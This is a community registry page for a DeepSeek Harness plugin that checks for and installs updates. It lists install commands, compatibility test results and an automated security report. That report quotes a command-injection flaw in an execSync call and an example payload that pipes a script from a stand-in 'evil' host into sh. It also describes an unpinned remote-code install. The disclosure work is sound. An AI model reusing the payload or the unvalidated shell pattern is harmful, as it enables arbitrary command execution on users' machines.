Install verification: sandbox install failed (L4) · tested on dsh 0.2.1-rc.5 · last checked Install verification details →
Data as of (UTC)
What it doesAI
Checks for DeepSeek Harness updates and upgrades from the Web UI settings page or slash commands.
- Shows current and latest DSH version in Web UI settings
- One-click check for updates and upgrade
- Slash commands /check update and /check update upgrade
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add github:xiaoxingdelabi1/dsh-command-check-updateInstall method: GitHub · sandbox install failed (L4) · verified on dsh 0.2.1-rc.5
Trends
Four lines, four questions: total stars, stars gained this week, cumulative downloads, downloads this week. The GitHub pair comes from real-read sampling — a rotating daily shard, so one plugin is re-read roughly every 5–14 days, sparser than npm; the npm pair has a value on every snapshot day. The two cumulative panels are smoothed curves with no sample markers; the two weekly panels keep their raw bars and add a 4-week moving-average trend line that strips single-week noise down to the direction of travel.
8 samples (roughly every 7 days), 2 of them reconstructed (dashed runs); a smoothed curve through every sample — not a daily series
09-18 → 11-14 · 8 points
Bars = the delta between two samples 5–14 days apart (negative points down, faint bars contain reconstructed points); line = 4-week moving-average trend
10-01 → 11-14 · 7 points
Reconstructed backwards from the current total using daily downloads (gaps are not interpolated)
Only 0 points (< 3): no chart yet
no data yet
Bars = the snapshot’s last-week rolling window (official npm + npmmirror combined); line = 4-week moving-average trend — the shape of weekly demand, not a user count
Only 0 points (< 3): no chart yet
no data yet
Verification & Compatibility
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
Based on 1 requirement(s) across 2 @deepseek-ai/dsh-* packages. raw ranges
^0.1.0-rc.6 ×2
✗ Running dsh 0.2.2-rc.3 is outside the declared range — the official install gate rejects it (incompatible-version).
To force-install, grant an exact-version exemption: dsh plugin allow-version dsh-command-check-update@0.1.0-rc.6 0.2.2-rc.3 (the exemption lives in the local profile; this site does not assume one)
Deciding channel: no engines.dsh declared, so every dsh* peer is checked (workspace:^ | ~ | * counts as the running version).
Whether it actually runs is a separate question → see the measured matrix below (L1–L5).
| plugin \ dsh | dsh 0.2.1-rc.5 | dsh 0.2.1-rc.3 | dsh 0.2.1-rc.2 | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 |
|---|---|---|---|---|---|
| 7d3d0f | · | · | · | · | · |
| 499eeb | ✗ | ✗ | ○ | ○ | ○ |
| 0a485c | · | · | · | · | · |
7d3d0fgithub2026-08-28
https://github.com/xiaoxingdelabi1/dsh-command-check-update
No runtime install test for this version (static scan only) — compatibility unknown, never assumed.
499eebgithub2 failed2026-10-31
https://github.com/xiaoxingdelabi1/dsh-command-check-update
✗dsh 0.2.1-rc.52026-10-31L4 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.5
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.2.1-rc.5 · profile: l4-sandbox
Issued: 2026-10-31 · expires: 2026-11-07
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
This level was not executed in this scan.
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-rc.32026-10-26L4 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.3
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.2.1-rc.3 · profile: l4-sandbox
Issued: 2026-10-26 · expires: 2026-11-02
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
This level was not executed in this scan.
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.1-rc.22026-10-18not tested
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-18 · expires: 2026-10-25
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.1-alpha.42026-10-16not tested
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.2.1-alpha.4 · profile: l4-sandbox
Issued: 2026-10-16 · expires: 2026-10-23
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.1-alpha.22026-10-11not tested
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.2.1-alpha.2 · profile: l4-sandbox
Issued: 2026-10-11 · expires: 2026-10-18
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.0-rc.22026-10-09not tested
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.2.0-rc.2 · profile: l4-sandbox
Issued: 2026-10-09 · expires: 2026-10-16
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.7-rc.22026-09-25not tested
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.1.7-rc.2 · profile: l4-sandbox
Issued: 2026-09-25 · expires: 2026-10-02
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.7-rc.12026-09-23not tested
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.1
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.1.7-rc.1 · profile: l4-sandbox
Issued: 2026-09-23 · expires: 2026-09-30
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
This level was not executed in this scan.
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.7-alpha.22026-09-23not tested
- • Node.js: v24.14.0
- • DSH: 0.1.7-alpha.2
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.1.7-alpha.2 · profile: l4-sandbox
Issued: 2026-09-23 · expires: 2026-09-30
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.6-alpha.22026-09-19not tested
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.1.6-alpha.2 · profile: l4-sandbox
Issued: 2026-09-19 · expires: 2026-09-26
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.6-alpha.12026-09-16not tested
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.1.6-alpha.1 · profile: l4-sandbox
Issued: 2026-09-16 · expires: 2026-09-23
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.5-rc.22026-09-11not tested
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.1.5-rc.2 · profile: l4-sandbox
Issued: 2026-09-11 · expires: 2026-09-18
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.3-alpha.22026-09-08not tested
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.1.3-alpha.2 · profile: l4-sandbox
Issued: 2026-09-08 · expires: 2026-09-15
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.3-alpha.12026-09-07not tested
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dsh0.1.3-alpha.1 · profile: l4-sandbox
Issued: 2026-09-07 · expires: 2026-09-14
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.2-alpha.12026-09-02not tested
- • Node.js: v24.14.0
- • DSH: 0.1.2-alpha.1
- • Plugin artifact: artifact unstated (historical)
ID: dsh-command-check-update@499eeb@dsh0.1.2-alpha.1 · profile: l5-web-smoke
Issued: 2026-09-02 · expires: 2026-12-01
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
ecosystem plugin: no dsh.bundle declaration
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○prehistory2026-10-05not tested
- • Node.js: v24.14.0
- • DSH: unknown
- • Plugin artifact: github · https://github.com/xiaoxingdelabi1/dsh-command-check-update (version unstated)
ID: dsh-command-check-update@499eeb@dshunknown · profile: l4-sandbox
Issued: 2026-10-05 · expires: 2026-10-12
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
0a485cgithub2026-09-04
github:xiaoxingdelabi1/dsh-command-check-update
○dsh 0.1.2-rc.12026-09-04not tested
- • Node.js: v24.14.0
- • DSH: 0.1.2-rc.1
- • Plugin artifact: github · github:xiaoxingdelabi1/dsh-command-check-update#0a485c
ID: dsh-command-check-update@0a485c@dsh0.1.2-rc.1 · profile: l5-web-smoke
Issued: 2026-09-04 · expires: 2026-12-03
View checks & evidence
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
plain dependency (no dsh.bundle declaration) — official dsh CLI installs it with an orientation warning — L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
L1-L3 backfilled from dsh-command-check-update@7d3d0f…@dshunknown.json (static checks are registry-level; 2026-09-05 方案A)
ecosystem plugin: no dsh.bundle declaration
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Author badges
Embed the dsh.so badges in your README to show this plugin's automated security-scan and install-test status:
`[](https://www.dsh.so/artifact/dsh-command-check-update/?ref=badge)`dsh.so is an independent community project, not affiliated with or endorsed by DeepSeek AI. Badges are maintained by dsh.so; embed links carry a ?ref= attribution parameter.
Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low; dynamic high (authoritative when present) → overall high.
v0.1.0-rc.60.1.0-rc.6git2026-11-170.1.0-rc.6same versionclean · gitVet is an AST static scan (npm artifact or git source).
show static findings (1)
- criticalshellExec · shell
lib/index.js:96execSync('npx --yes ' + pkg + ' --version', { timeout: 60000, stdio: 'pipe' });
show 3 audit findings
- highCommand injection: /check-update to <version> concatenates unvalidated user input into execSync
lib/index.js:96The version argument is only lowercased and trimmed, never validated as semver, and is concatenated into a shell command line. execSync runs it through a shell (/bin/sh -c on POSIX, cmd.exe /d /s /c on Windows), so metacharacters such as ';', '&&', '|', backticks or $() execute arbitrary commands with the user's privileges, e.g. '/check-update to 0.1.0-rc.6; curl http://evil/x.sh|sh'. The plugin's own documentation encourages users to exchange version strings ('Send someone your version number and they can run /check-update to <version>'), which normalises the exact action an attacker needs th
- high/install-pack downloads unpinned code from a third-party GitHub repo and wires it into the loader to execute
lib/index.js:245Running /install-pack fetches lib/index.js (and package.json) from HEAD of an unaffiliated GitHub account, writes them into the DSH dependency tree, then rewrites ~/.dsh/profiles/web/cordis.patch.yml so the profile loader imports them via file:// URL on the next restart. There is no commit/tag pinning, no integrity hash and no signature check, so whoever controls that repository (or a compromised GitHub account) can push arbitrary code that the local harness then executes with the user's privileges. The package names use the @deepseek-ai scope while the code actually comes from xiaoxingdelabi1
- mediumensurePatchEntries overwrites the user's cordis.patch.yml wholesale with no backup or merge
lib/index.js:230The command replaces the whole profile patch layer (outside the plugin's own directory, in the user's home) with a generated file containing only the two pack entries. Any pre-existing loader overrides, disables or user configuration in that file are silently destroyed, and since that file controls which modules the profile loads, its content is a security-relevant configuration surface that the plugin rewrites without confirmation.
Shell injection via the version argument of /check-update and an unpinned remote-code install in /install-pack that also overwrites the user's profile patch file.
Rule (2026-10-28): when a dynamic conclusion exists it is authoritative (it may raise or lower the level); the static scan tier (vet primary, dsh backstop) applies only when there is none (not queued / audit failed / withdrawn). The audit never writes the exemption list (exemptions are manual only); a wrong conclusion is withdrawn by human review and the tier falls back to the static scan tier.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-08-14 · activity: Inactive
• Repo created: 2026-08-14
• Stars: ★ 0 · Forks: 0
• Health: Inactive — no commit in 90+ days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
Frequently asked questions
What is dsh-command-check-update?
dsh-command-check-update is a DeepSeek Harness (dsh) plugin listed on dsh.so — an independent community registry that indexes public source repositories and publishes automated security-scan and install-verification results for each entry.
Is dsh.so or this plugin page official?
dsh.so is an independent community registry and is not affiliated with, endorsed by, or sponsored by DeepSeek AI.
How do I install dsh-command-check-update?
Run dsh plugin --profile web add github:xiaoxingdelabi1/dsh-command-check-update in a DeepSeek Harness (dsh) environment. The command is parsed from the plugin manifest and its install spec is verified (L3); runtime sandbox install testing may not have run yet.
How does the security scan relate to a manual audit?
Both layers are automated, not a manual audit. The static scan is heuristic analysis of the repository source, so it can produce false positives and miss context. The model-driven dynamic security audit only covers plugins static-flagged at warn or above, never executes plugin code, and its conclusion is authoritative when there is one (it may raise or lower the static tier); exemptions stay manual. Neither layer is an endorsement: review the repository and the permissions it asks for before installing, together with the verification level and health signals.
How fresh is the data on this page?
The data on this page is as of 2026-11-17 (UTC) — the most recent valid timestamp among the registry refresh, install verification, security scan and dynamic audit. Build time is never used as a data date.
